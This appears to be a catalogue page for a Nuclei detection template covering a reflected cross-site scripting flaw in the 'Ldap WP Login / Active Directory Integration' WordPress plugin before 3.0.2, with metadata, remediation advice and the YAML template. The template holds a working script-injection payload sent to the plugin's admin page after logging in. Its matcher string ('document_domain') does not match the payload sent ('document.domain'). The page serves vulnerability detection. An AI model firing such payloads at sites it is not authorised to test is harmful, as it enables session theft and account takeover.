SecurityContext

ldap-wp-login-xss: Ldap WP Login / Active Directory Integration < 3.0.2 - Cross-Site Scripting

  • Template: ldap-wp-login-xss
  • Name: Ldap WP Login / Active Directory Integration < 3.0.2 - Cross-Site Scripting
  • Description: The plugin does not escape generated URLs before outputing them in attrubutes, leading to Reflected Cross-Site Scripting
  • Remediation: Fixed in version 3.0.2
  • Severity: medium
  • Authors: r3Y3r53
  • Tags: xss, wp-plugin, wordpress, wp, ldap-wp-login-integration-with-active-directory, wpscan, vuln
  • References: https://wpscan.com/vulnerability/1dc2cec8-e3dd-414b-8ccb-d73d51b051ee
  • Verified: yes
  • Max requests: 2
  • Directory: http/vulnerabilities
  • Path: http/vulnerabilities/wordpress/ldap-wp-login-xss.yaml
  • Digest: 4a0a0047304502200106af73fe0ea56491d59119095dd9497626b495f879ca42cb08bd6efcecb1e802210099bab4672eb4d2858bcef9219e82b48673585681038822f5f82505876f36bbe3
  • Created at: 2023-04-21T11:45:40Z
  • Updated at: 2026-04-14T14:09:18Z
  • Age in days: 1313
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/ldap-wp-login-xss.yaml
  • Checked, none or zero: cves, products
  • Not known: impact

Classification

  • Cwe: CWE-80
  • Not known: cvss score, cvss vector, epss score, epss percentile, cpe

Metadata

  • Max-request: 2
  • Verified: yes

Labels

  • Name: Ldap WP Login / Active Directory Integration - Reflected XSS
  • Impact: Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies or performing actions on behalf of users.
  • Remediation: Update to version 3.0.2 or latest available version.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim must load a crafted URL or interact with a malicious link
  • Labels source: securitycontext
  • Not known: from cve

```yaml

id: ldap-wp-login-xss

info:

name: Ldap WP Login / Active Directory Integration < 3.0.2 - Cross-Site Scripting

author: r3Y3r53

severity: medium

description: |

The plugin does not escape generated URLs before outputing them in attrubutes, leading to Reflected Cross-Site Scripting

remediation: Fixed in version 3.0.2

reference:

- https://wpscan.com/vulnerability/1dc2cec8-e3dd-414b-8ccb-d73d51b051ee

classification:

cwe-id: CWE-80

metadata:

verified: true

max-request: 2

tags: xss,wp-plugin,wordpress,wp,ldap-wp-login-integration-with-active-directory,wpscan,vuln

http:

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In

- |

GET /wp-admin/admin.php?page=LDAP+authentication+intergrating+with+AD&a"><script>alert(document.domain)</script> HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code_2 == 200'

- 'contains(header_2, "text/html")'

- 'contains_all(body_2, "<script>alert(document_domain)</script>", "LDAP-authentication-intergrating-with-AD")'

condition: and

digest: 4a0a0047304502200106af73fe0ea56491d59119095dd9497626b495f879ca42cb08bd6efcecb1e802210099bab4672eb4d2858bcef9219e82b48673585681038822f5f82505876f36bbe3:922c64590222798bb761d5b6d8e72950

```